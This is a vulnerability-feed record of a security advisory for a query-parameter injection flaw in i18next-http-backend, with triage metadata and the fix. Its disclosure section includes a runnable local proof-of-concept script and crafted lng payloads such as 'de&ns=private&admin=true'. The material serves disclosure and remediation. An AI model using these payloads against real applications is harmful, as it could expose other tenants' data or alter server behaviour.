{"id":"CVE-2026-118258","kind":"vulnerability","aliases":["CVE-2026-118258","GHSA-3cmx-xjww-583x"],"related":[],"title":"i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string","description":"### Summary\n\nThe URL-segment check added for GHSA-q89c-q3h5-w34g blocks `?`, `#`, `%`, `:`, `/` and `@` in `lng`, but not `&` or `=`, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form `/locales/resources.json?lng=de+en&ns=ns1+ns2`. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from `?lng=`, a cookie or `Accept-Language`. This is the \"query-string injection\" impact described in GHSA-q89c; only the `?` form was closed.\n\nServer side (Express + i18next-http-middleware, default options), `GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue` makes the application request `…?lng=de&ns=private&admin=true&ns=common` from its own translations API.\n\n### Details\n\nThe checks are in `lib/utils.js`. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:\n\n- empty or >128-character values and prototype keys;\n- `..` and `\\`;\n- `/[?#%:\\s]/`;\n- control characters.\n\n`isSafeLangUrlSegment` (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only `/` and `@`. **Neither function rejects `&` or `=`.**\n\n```js\nif (/[?#%:\\s]/.test(v)) return false   // utils.js L40, no & or =\n```\n\n`interpolateUrl` then splits on `+`, checks each segment, and joins the **raw** segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).\n\nCall sites:\n\n- `_readAny` builds the load URL with `interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64\n- `create` builds the missing-key URL with `interpolateUrl(addPath, { lng, ns })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133\n\nThe README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read `?lng=`, cookies, `localStorage` and request headers. i18next-http-middleware's `LanguageDetector` does the same on the server.\n\nWhere `?` is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, `&` and `=` are the separators, so they must be rejected or encoded too.\n\n**Suggested fix.** Reject `&` and `=` (and `;`) in both `lng` and `ns`; no BCP-47 language code or usable i18next namespace contains them. Alternatively, `encodeURIComponent` each `+`-joined segment when the placeholder appears after `?` in the template.\n\n### Proof of concept\n\nHow to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):\n\n1. `mkdir i18next-poc && cd i18next-poc`\n2. `npm init -y`\n3. `npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0`\n4. Save the script below as `poc.mjs`\n5. `node poc.mjs`\n\n```js\n// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts\n// {{lng}} in the query string (README multiload shape) gets extra parameters.\n// Everything runs on 127.0.0.1: a fake translations API and an Express app.\nimport http from 'node:http'\nimport express from 'express'\nimport i18next from 'i18next'\nimport Backend from 'i18next-http-backend'\nimport middleware from 'i18next-http-middleware'\n\nconst seen = []\nconst api = http.createServer((req, res) => {\n  seen.push(req.url)\n  res.setHeader('content-type', 'application/json')\n  res.end('{\"hello\":\"hi\"}')\n})\nawait new Promise((r) => api.listen(0, '127.0.0.1', r))\nconst loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`\nconst wait = () => new Promise((r) => setTimeout(r, 200))\n\n// 1) Direct: lng values passed to i18next as-is.\nconsole.log('[1] direct init')\nfor (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {\n  seen.length = 0\n  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })\n  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)\n}\n\n// 2) Server side: language taken from the request by i18next-http-middleware (default options).\nconsole.log('[2] Express + i18next-http-middleware LanguageDetector')\nconst i18n = i18next.createInstance()\nawait i18n.use(Backend).use(middleware.LanguageDetector)\n  .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })\nconst app = express()\napp.use(middleware.handle(i18n))\napp.get('/', (req, res) => res.send(req.t('hello')))\nconst web = app.listen(0, '127.0.0.1')\nawait new Promise((r) => web.on('listening', r))\nawait wait()\nfor (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {\n  seen.length = 0\n  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text())\n  await wait()\n  console.log(`    GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`)\n}\nweb.close()\napi.close()\n```\n\nOutput (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):\n\n```\n[1] direct init\n    lng=\"de\"                         -> API got: /locales/resources.json?lng=de&ns=common\n    lng=\"de?admin=true\"              -> API got: (no request, refused)\n    lng=\"de&ns=private&admin=true\"   -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common\n[2] Express + i18next-http-middleware LanguageDetector\n    GET /?lng=de                               -> API got: /locales/resources.json?lng=de&ns=common\n    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common\n```\n\nThe `?` control is refused by the existing fix. The `&` form passes and reaches the API with injected `ns=private&admin=true`.\n\n### Impact\n\nThis is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:\n\n- **Server side** (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (`ns`, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour.\n- **Browser side**: a crafted link (`?lng=…`) does the same to the victim's same-origin request.\n\nApplications using the default path template `/locales/{{lng}}/{{ns}}.json`, or a `supportedLngs` allowlist, are not affected.\n\ncredit to Adrian Korwel.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).\n\n**Preconditions.** The `loadPath` / `addPath` template must put `{{lng}}` or `{{ns}}` in the query string (for example `/locales/resources.json?lng={{lng}}&ns={{ns}}`, the multiload shape), and the attacker must control the language or namespace value. The default `/locales/{{lng}}/{{ns}}.json` and other path-only templates are not affected, nor are applications that restrict languages with `supportedLngs`. The impact depends on what the translations API does with the injected parameters.\n\n**Fix.** `&`, `=` and `;` are now rejected in both `lng` and `ns` values, in addition to the `?`, `#`, `%` and `:` rejected before. No language code or usable namespace name contains them. `+`-joined multiload values such as `de+en` keep working, verified end to end with i18next-multiload-backend-adapter.\n\n**Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `< 4.0.4`.\n\n**Related.** i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.","summary":"i18next-http-backend builds translation request URLs from language and namespace values without encoding ampersand, equals or semicolon characters. An attacker who controls those values can add or override query parameters on translation requests, possibly reaching other namespaces or tenants.","severity":"low","cvss":3.7,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"i18next-http-backend","fixed":["4.0.4"],"affected":"< 4.0.4","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["browser","cwe-74","deno","i18next","javascript","node","package","typescript"],"not_affected_if":["path-based-templates","static-language-codes","version-4.0.4-or-later"],"how_to_check":"- Check the installed version with `npm ls i18next-http-backend`\n- Look for `loadPath` or `addPath` templates that place `lng` or `ns` in the query string, for example `?lng={{lng}}`\n- Check whether user-controlled values can reach the language or namespace fields","fix":"- Upgrade i18next-http-backend to `4.0.4`\n- Until upgraded, validate or allow-list language and namespace values to exclude &, = and ;","status":"open","published_at":"2026-10-28T19:17:30+00:00","first_seen_at":"2026-10-28T19:34:55+00:00","triaged_at":"2026-10-28T19:36:14+00:00","updated_at":"2026-10-28T21:12:44+00:00","category":"package","confidence":0.6,"triage":{"at":"2026-10-28T19:36:14Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade i18next-http-backend to `4.0.4`\n- Until upgraded, validate or allow-list language and namespace values to exclude &, = and ;","reach":"internet","title":"i18next-http-backend: unencoded language values let attackers add query parameters","impact":"medium","summary":"i18next-http-backend builds translation request URLs from language and namespace values without encoding ampersand, equals or semicolon characters. An attacker who controls those values can add or override query parameters on translation requests, possibly reaching other namespaces or tenants.","category":"package","nicknames":[],"who_cares":["node","browser","deno","i18next","javascript","typescript"],"confidence":0.6,"needs_auth":"unknown","worst_case":"Attacker adds query parameters to translation requests, reaching other tenants' namespaces","analyst_note":"","how_to_check":"- Check the installed version with `npm ls i18next-http-backend`\n- Look for `loadPath` or `addPath` templates that place `lng` or `ns` in the query string, for example `?lng={{lng}}`\n- Check whether user-controlled values can reach the language or namespace fields","needs_analyst":false,"not_affected_if":["static-language-codes","path-based-templates","version-4.0.4-or-later"],"who_is_affected":"Applications that use i18next-http-backend before 4.0.4 with a loadPath or addPath template that puts lng or ns in the query string, and that let untrusted input choose the language or namespace. Apps that use static language codes or path-style templates are much less exposed and can skip the urgent upgrade.","user_interaction":"unknown","needs_special_setup":"yes","severity_if_unknown":"low"},"cost_usd":0.000638,"input_tokens":3453,"output_tokens":585,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-118258':23A,31A '-2026':22A,30A '-47':418C '-74':38B '/.test':260C '/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#l133':322C '/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#l64':307C '/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#l159-l184,':288C '/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#l26-l44)':232C '/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#l51-l55)':249C '/i18next/i18next-http-backend/blob/v4.0.3/readme.md?plain=1#l130).':335C '/locales/resources.json':126C,597C '0':589C '1':461C,610C '127.0.0.1':451C,531C,590C,594C '128':236C '18':447C '2':470C '200':609C '26.5.1':478C '26admin':202C '26ns':200C '3':474C '3.9.9':488C '3cmx':26A '3dprivate':201C '3dtrue':203C '4':491C '4.0.3':483C,506C '5':498C '5.3.0':490C '583x':28A 'accept':168C 'accept-languag':167C 'add':72B,92C,146C,250C 'addpath':317C 'admin':212C 'altern':427C 'ampersand':60B 'api':220C,456C,535C,570C 'api.address':595C 'api.listen':588C 'app':460C,539C 'appear':435C 'applic':206C 'application/json':580C 'as-i':617C 'attack':66B,139C,341C 'attacker-control':340C 'await':584C 'backend':4A,35A,48B,155C,482C,505C,554C,559C 'base':228C 'bcp':417C 'block':99C 'browser':36B 'build':49B,295C,309C 'call':292C 'cd':466C 'charact':64B,237C,245C,380C 'check':91C,108C,223C,229C,272C 'close':187C 'code':420C 'come':161C 'common':215C 'con':620C 'concept':442C 'const':567C,569C,592C,602C 'contain':425C 'content':578C 'content-typ':577C 'control':68B,141C,244C,342C 'cooki':165C,355C 'creat':308C 'cve':21A,29A 'cwe':37B 'de':128C,199C,209C 'default':158C,195C 'deno':39B 'describ':178C 'detail':221C 'detector':352C 'determin':378C 'direct':611C 'document':119C,325C 'empti':234C 'en':129C 'encod':59B,116C,285C,404C 'encodeuricompon':428C 'equal':61B 'everyth':448C,528C 'express':190C,459C,489C,538C,546C,548C 'extra':526C 'fake':454C,533C 'fals':263C 'fix':384C,407C 'form':125C,185C 'function':254C 'get':197C,525C 'ghsa':25A,95C,181C,348C 'ghsa-3cmx-xjww-583x':24A 'ghsa-q89c':180C,347C 'ghsa-q89c-q3h5-w34g':94C 'github.com':231C,248C,287C,306C,321C,334C 'github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#l133':320C 'github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#l64':305C 'github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#l159-l184,':286C 'github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#l26-l44)':230C 'github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#l51-l55)':247C 'github.com/i18next/i18next-http-backend/blob/v4.0.3/readme.md?plain=1#l130).':333C 'header':359C 'hello':582C 'hi':583C 'http':3A,34A,47B,193C,362C,481C,486C,504C,541C,544C,558C,565C 'http.createserver':571C 'i18next':2A,33A,40B,46B,192C,361C,423C,464C,468C,477C,480C,485C,503C,550C,552C,557C,564C,616C 'i18next-http-backend':1A,32A,45B,479C,502C,556C 'i18next-http-middleware':191C,360C,484C,563C 'i18next-poc':463C,467C 'impact':177C 'import':540C,545C,549C,553C,560C 'init':472C 'inject':8A,176C 'insert':111C 'interpolateurl':268C,300C,316C 'issafelangurlseg':246C,511C 'javascript':41B 'join':276C,430C 'js':257C,501C 'key':241C,313C 'l174':291C 'l40':265C 'languag':54B,143C,160C,169C,337C,419C 'languagedetector':365C 'languages.join':303C 'lib/utils.js':226C 'like':136C 'lng':12A,16A,102C,127C,163C,198C,208C,302C,318C,354C,413C,509C,517C,598C,599C,612C 'load':297C 'loadpath':122C,514C,593C 'loadpath/addpath':14A 'localstorag':356C 'make':204C 'middlewar':194C,363C,487C,561C,566C 'miss':312C 'missing-key':311C 'mkdir':462C 'multiload':121C,332C,523C 'must':400C 'namespac':56B,83B,424C 'neither':253C 'new':585C,604C 'node':42B,446C,499C,543C 'normal':344C 'npm':471C,475C 'ns':130C,210C,214C,304C,319C,415C,600C,601C 'ns1':131C 'ns2':132C 'option':196C 'overrid':74B,148C 'packag':43B 'paramet':7A,76B,150C,527C 'pass':510C,614C 'path':388C 'place':374C 'placehold':434C 'poc':465C,469C 'poc.mjs':497C,500C 'port':596C 'posit':389C,393C 'possibl':80B 'privat':211C 'promis':586C,605C 'proof':440C 'prototyp':240C 'put':15A,516C 'q3h5':97C 'q89c':96C,182C,349C 'queri':6A,19A,75B,149C,174C,328C,392C,520C 'query-paramet':5A 'query-shap':327C 'query-str':173C 'r':587C,591C,606C,608C 'raw':278C 'reach':81B 'read':353C 'readani':294C 'readm':118C,324C,522C 'reject':233C,255C,402C,408C 'req':572C 'req.url':575C 'request':51B,79B,153C,207C,358C 'res':573C 'res.end':581C 'res.setheader':576C 'resolvedloadpath':301C 'return':262C,289C 'run':445C,449C,529C 'save':492C 'say':351C 'script':494C 'seen':568C 'seen.push':574C 'segment':90C,274C,279C,431C 'semicolon':63B 'send':156C 'separ':397C 'server':188C,371C 'settimeout':607C 'setup':345C 'shape':329C,524C 'side':189C 'site':293C 'split':270C 'string':20A,175C,521C 'structur':382C 'suggest':406C 'summari':86C 'templat':135C,282C,377C,439C 'tenant':85B 'translat':50B,78B,219C,455C,534C 'treat':385C 'true':213C 'type':579C 'typescript':44B 'url':52B,89C,114C,298C,314C,330C 'url-seg':88C 'usabl':422C 'utils.js':264C 'v':261C 'valu':57B,70B,109C,144C,238C,338C,613C 'w34g':98C 'wait':603C 'without':58B,115C 'xjww':27A 'y':473C","nicknames":[],"mitigations":[],"who_affected":"Applications that use i18next-http-backend before 4.0.4 with a loadPath or addPath template that puts lng or ns in the query string, and that let untrusted input choose the language or namespace. Apps that use static language codes or path-style templates are much less exposed and can skip the urgent upgrade.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T19:17:30+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-118258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118258","severity":null,"published_at":"2026-10-28T19:17:30+00:00","modified_at":"2026-10-28T19:17:30+00:00","first_seen_at":"2026-10-28T19:34:55+00:00","fetched_at":"2026-10-28T19:34:55+00:00","note":null},{"source":"ghsa","external_id":"GHSA-3cmx-xjww-583x","url":"https://github.com/advisories/GHSA-3cmx-xjww-583x","severity":"low","published_at":"2026-10-28T21:10:08+00:00","modified_at":"2026-10-28T21:10:10+00:00","first_seen_at":"2026-10-28T21:12:44+00:00","fetched_at":"2026-10-28T21:12:44+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}